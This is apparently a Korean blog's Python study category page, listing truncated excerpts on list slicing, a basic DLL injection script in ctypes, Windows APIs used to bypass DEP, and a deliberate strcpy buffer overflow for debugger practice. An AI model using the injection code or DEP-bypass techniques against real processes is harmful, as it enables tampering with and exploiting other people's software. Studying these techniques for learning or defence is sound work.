목록Study/Python (7)
Python array[::] 용법간단한 파이썬 팁입니다. arr[::], arr[1:2:3], arr[::-1] 등으로 배열의 index에 접근하는 방법을 Extended Slices 라고 부릅니다.설명arr[A:B:C]의 의미는, index A 부터 index B 까지 C의 간격으로 배열을 만들어라는 말입니다. 만약 A가 None 이라면, 처음부터 라는 뜻이고 B가 None 이라면, 할 수 있는 데까지 (C가 양수라면 마지막 index까지, C가 음수라면 첫 index까지가 되겠습니다.)라는 뜻입니다. 마지막으로 C가 None 이라면 한 칸 간격으로 라는 뜻입니다.예시>> arr = range(10) >> arr [0,1,2,3,4,5,6,7,8,9] >> arr[::2] # 처음부터 끝까지 두 칸 ..
DLL 인젝션 기본예제123456789101112131415161718192021222324252627282930313233import sysfrom ctypes import * PAGE_READWRITE = 0x04PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)VIRTUAL_MEM = (0x1000 | 0x2000) kernel32 = windll.kernel32pid = sys.argv[1]dll_path = sys.argv[2]dll_len = len(dll_path) h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: print "[*] Cou..
DEP(Data Execution Prevention)는 힙과 스택 같은 메모리 영역에 있는 코드가 실행되는 것을방지하기 위해 Microsoft 윈도우에 구현된 보안 기능이다.ps.리눅스에서는 ASLR(Address Space Layout Randomization)이라는 메모리 보호기법이 있다. DEP는 오버플로우 공격과 같은 자신의 셸코드를 힙이나 스택에 위치시켜 실행시키는 시도를무력화시킬 수 있다. 하지만 윈도우 API를 이용해 DEP를 우회할 수 있는 트릭이 존재한다. 윈도우 API중 DEP 우회에 사용될 수 있는 것들은 다음과 같다. API / OSXP SP2XP SP3Vista SP0Vista SP1Windows 7Windows 2003 SP1Windows 2008VirtualAllocyesye..
권한이 없는 메모리에 접근하려고할 때 Access violation 발생디버깅 대상 프로세스에서 접근 위반이 발생하면 디버거가 그것을 처리해야 한다.예외가 발생했을 때 디버거는 스택프레임, 레지스터, 예외를 발생시킨 명령 등의 정보를 추적할 수 있다.이런 정보를 기반으로 취약점 공격코드를 작성하거나 바이너리 패치를 만들어낼 수 있다. bof12345678910111213from ctypes import * msvcrt = cdll.msvcrt raw_input("Debugger is Running??") buffer = c_char_p("AAAAA") overflow = "A" * 100 msvcrt.strcpy(buffer, overflow) Colored by Color Scriptercs acces..